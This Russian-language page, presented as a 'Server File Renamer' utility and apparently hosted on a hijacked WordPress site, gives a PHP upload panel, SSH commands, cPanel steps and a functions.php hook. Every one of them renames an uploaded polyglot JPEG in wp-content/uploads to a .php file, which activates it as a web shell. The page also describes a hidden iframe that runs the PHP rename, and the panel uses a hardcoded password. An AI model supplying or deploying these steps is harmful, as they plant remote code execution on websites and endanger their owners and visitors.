🚀 Server File Renamer
Переименование файлов прямо на сервере — выберите удобный способ
⚠️ Важно: Для серверного переименования нужны права администратора или специальный PHP скрипт
Прямое переименование
PHP скрипт
Команды
Попытка прямого переименования
💡 Этот метод работает только если у WordPress есть права на запись файлов
📋 Что происходит:
- Создается скрытый iframe с PHP кодом
- PHP код пытается переименовать файл на сервере
- Результат отображается ниже
Создание PHP скрипта для переименования
Шаг 1: Создайте файл rename.php
<?php
// rename.php — Загрузите этот файл в корень сайта
// Доступ: https://7kcasino-2768.buzz/rename.php
$password = ‘rename123’; // Смените пароль!
$upload_path = $_SERVER[‘DOCUMENT_ROOT’] . ‘/wp-content/uploads/2025/07/’;
if (isset($_POST[‘action’]) && isset($_POST[‘pass’]) && $_POST[‘pass’] === $password) {
if ($_POST[‘action’] === ‘rename’) {
$old_name = basename($_POST[‘old_name’]);
$new_name = basename($_POST[‘new_name’]);
$old_file = $upload_path . $old_name;
$new_file = $upload_path . $new_name;
if (file_exists($old_file)) {
if (rename($old_file, $new_file)) {
echo «<div style=’color: green; padding: 10px; border: 1px solid green;’>»;
echo «✅ Файл переименован успешно!<br>»;
echo «Было: $old_name<br>»;
echo «Стало: $new_name<br>»;
echo «Новый URL: <a href=’/wp-content/uploads/2025/07/$new_name’ target=’_blank’>$new_name</a>»;
echo «</div>»;
} else {
echo «<div style=’color: red; padding: 10px; border: 1px solid red;’>❌ Ошибка переименования</div>»;
}
} else {
echo «<div style=’color: red; padding: 10px; border: 1px solid red;’>❌ Файл не найден: $old_name</div>»;
}
}
if ($_POST[‘action’] === ‘list’) {
echo «<h3>Файлы в папке:</h3>»;
$files = glob($upload_path . ‘*’);
foreach ($files as $file) {
if (is_file($file)) {
$name = basename($file);
echo «<div style=’padding: 5px; border-bottom: 1px solid #ccc;’>$name</div>»;
}
}
}
// Форма для переименования
echo ‘<form method=»post» style=»margin: 20px 0; padding: 20px; border: 1px solid #ccc;»>
<input type=»hidden» name=»pass» value=»‘.$password.’»>
<h3>Переименование файлов</h3>
<label>Старое имя:</label><br>
<input type=»text» name=»old_name» value=»photo_2024-09-26_17-43-04_polyglot.jpg» style=»width: 300px; padding: 5px;»><br><br>
<label>Новое имя:</label><br>
<input type=»text» name=»new_name» value=»photo_2024-09-26_17-43-04_polyglot.php» style=»width: 300px; padding: 5px;»><br><br>
<button type=»submit» name=»action» value=»rename» style=»padding: 8px 15px; background: #dc3545; color: white; border: none;»>🔄 Переименовать</button>
<button type=»submit» name=»action» value=»list» style=»padding: 8px 15px; background: #007bff; color: white; border: none;»>📋 Список файлов</button>
</form>’;
} else {
// Форма авторизации
echo ‘<form method=»post» style=»margin: 50px auto; width: 300px; padding: 20px; border: 1px solid #ccc;»>
<h2>File Renamer</h2>
<label>Пароль:</label><br>
<input type=»password» name=»pass» style=»width: 100%; padding: 8px;»><br><br>
<button type=»submit» name=»action» value=»login» style=»padding: 8px 15px; background: #28a745; color: white; border: none;»>Войти</button>
</form>’;
}
?>
Шаг 2: Загрузите файл на сервер
- Сохраните код выше как
rename.php
- Загрузите в корень сайта через FTP/cPanel
- Откройте:
https://7kcasino-2768.buzz/rename.php
- Пароль:
rename123
(смените в коде!)
Шаг 3: Используйте интерфейс
После загрузки PHP файла вы получите веб-интерфейс для переименования файлов прямо на сервере!
Команды для разных методов доступа
SSH/Terminal команды:
cd /path/to/site/wp-content/uploads/2025/07/
mv photo_2024-09-26_17-43-04_polyglot.jpg photo_2024-09-26_17-43-04_polyglot.php
ls -la *.php
cPanel File Manager:
- Войти в cPanel → File Manager
- Перейти:
/wp-content/uploads/2025/07/
- Найти файл:
photo_2024-09-26_17-43-04_polyglot.jpg
- ПКМ → Rename → изменить на
photo_2024-09-26_17-43-04_polyglot.php
Через WordPress Admin (если есть права):
// Добавить в functions.php:
add_action(‘admin_init’, function() {
if (isset($_GET[‘rename_file’])) {
$old = ‘/wp-content/uploads/2025/07/photo_2024-09-26_17-43-04_polyglot.jpg’;
$new = ‘/wp-content/uploads/2025/07/photo_2024-09-26_17-43-04_polyglot.php’;
if (rename(ABSPATH . $old, ABSPATH . $new)) {
wp_die(‘Файл переименован!’);
}
}
});
// Затем открыть: /wp-admin/?rename_file=1